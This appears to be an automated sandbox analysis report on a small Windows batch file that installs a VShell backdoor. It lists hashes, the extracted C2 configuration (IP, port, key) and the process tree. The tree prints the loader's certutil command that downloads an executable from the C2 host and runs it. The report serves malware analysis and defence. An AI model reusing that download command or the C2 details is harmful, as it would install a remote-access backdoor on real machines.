Analysis
- max time kernel
148s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
31/08/2026, 00:15
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target windows.bat
- Size 500B
- Sample260831-akd18aea95
- SHA256 bdb796587ad85b17af989047322802254012550197de76120669a5d5f0f9f411
- MD5 ec748f2e70387aba215bc45a365acedf
- SHA1 dd348311a897363b43c31a640d37584d8765ed9d
- SHA512 f1a607ab09153e910b5e2e204876b1b606ed79e8edf12de689fcf5fd77cb1e68b05c4022643c22dc62ef6b14c1e6592e2b9bb809f3517059be9b9ee92c883723
- TLSH T1D1F097AE08220EB40791C84338B064C9F14B88C14EB36468ADD061FB5E841E83EEAAA1
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
68.64.181.23
Attributes
-
port
19999
-
salt
qwe123qwe
-
type
tcp
-
vkey
qwe123qwe
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/2028-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 4 3260 certutil.exe 6 3260 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 2028 bc791051tcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4204 cmd.exe 1172 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1492 WMIC.exe 1492 WMIC.exe 1492 WMIC.exe 1492 WMIC.exe 2028 bc791051tcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1492 WMIC.exe Token: SeSecurityPrivilege 1492 WMIC.exe Token: SeTakeOwnershipPrivilege 1492 WMIC.exe Token: SeLoadDriverPrivilege 1492 WMIC.exe Token: SeSystemProfilePrivilege 1492 WMIC.exe Token: SeSystemtimePrivilege 1492 WMIC.exe Token: SeProfSingleProcessPrivilege 1492 WMIC.exe Token: SeIncBasePriorityPrivilege 1492 WMIC.exe Token: SeCreatePagefilePrivilege 1492 WMIC.exe Token: SeBackupPrivilege 1492 WMIC.exe Token: SeRestorePrivilege 1492 WMIC.exe Token: SeShutdownPrivilege 1492 WMIC.exe Token: SeDebugPrivilege 1492 WMIC.exe Token: SeSystemEnvironmentPrivilege 1492 WMIC.exe Token: SeRemoteShutdownPrivilege 1492 WMIC.exe Token: SeUndockPrivilege 1492 WMIC.exe Token: SeManageVolumePrivilege 1492 WMIC.exe Token: 33 1492 WMIC.exe Token: 34 1492 WMIC.exe Token: 35 1492 WMIC.exe Token: 36 1492 WMIC.exe Token: SeIncreaseQuotaPrivilege 1492 WMIC.exe Token: SeSecurityPrivilege 1492 WMIC.exe Token: SeTakeOwnershipPrivilege 1492 WMIC.exe Token: SeLoadDriverPrivilege 1492 WMIC.exe Token: SeSystemProfilePrivilege 1492 WMIC.exe Token: SeSystemtimePrivilege 1492 WMIC.exe Token: SeProfSingleProcessPrivilege 1492 WMIC.exe Token: SeIncBasePriorityPrivilege 1492 WMIC.exe Token: SeCreatePagefilePrivilege 1492 WMIC.exe Token: SeBackupPrivilege 1492 WMIC.exe Token: SeRestorePrivilege 1492 WMIC.exe Token: SeShutdownPrivilege 1492 WMIC.exe Token: SeDebugPrivilege 1492 WMIC.exe Token: SeSystemEnvironmentPrivilege 1492 WMIC.exe Token: SeRemoteShutdownPrivilege 1492 WMIC.exe Token: SeUndockPrivilege 1492 WMIC.exe Token: SeManageVolumePrivilege 1492 WMIC.exe Token: 33 1492 WMIC.exe Token: 34 1492 WMIC.exe Token: 35 1492 WMIC.exe Token: 36 1492 WMIC.exe Token: SeDebugPrivilege 2028 bc791051tcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4204 wrote to memory of 1172 4204 cmd.exe 89 PID 1172 wrote to memory of 1492 1172 cmd.exe 90 PID 1172 wrote to memory of 4912 1172 cmd.exe 91 PID 4204 wrote to memory of 3260 4204 cmd.exe 94 PID 4204 wrote to memory of 2028 4204 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4204 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1172 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1492
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:4912
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://68.64.181.23:19999/?h=68.64.181.23&p=19999&t=tcp&a=w64&stage=true" "C:\Users\Public\bc791051tcp.exe"2⤵
- Downloads MZ/PE file
PID:3260
-
-
C:\Users\Public\bc791051tcp.exe"C:\Users\Public\bc791051tcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2028
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\bc791051tcp.exe
- Size 3KB
- SHA256 06a5b3bf4a7ec464abf18bc700e12eb160550aeebfe3efbef6f4955e28bbffe2
- MD5 c4947aa8eb4e125acb7b973c937eee99
- SHA1 d220a90beaf3cb15dbb7e93abc4d14519f548b69
- SHA512 b1549b2822a2d10f0645e73d197906c7a9b6176ab8a23ac32de11d4b2a4a5a46301685c90fb7746852fea5863a39dfe07c13cddddb61e8ab2ba871f115664df9
- TLSH T1DC71D64160501AF2D94CE37F8587B8A5FD4FB248A2C80B0F0798981B2F720BBB5DE613
- MD5 SHA1 SHA512 TLSH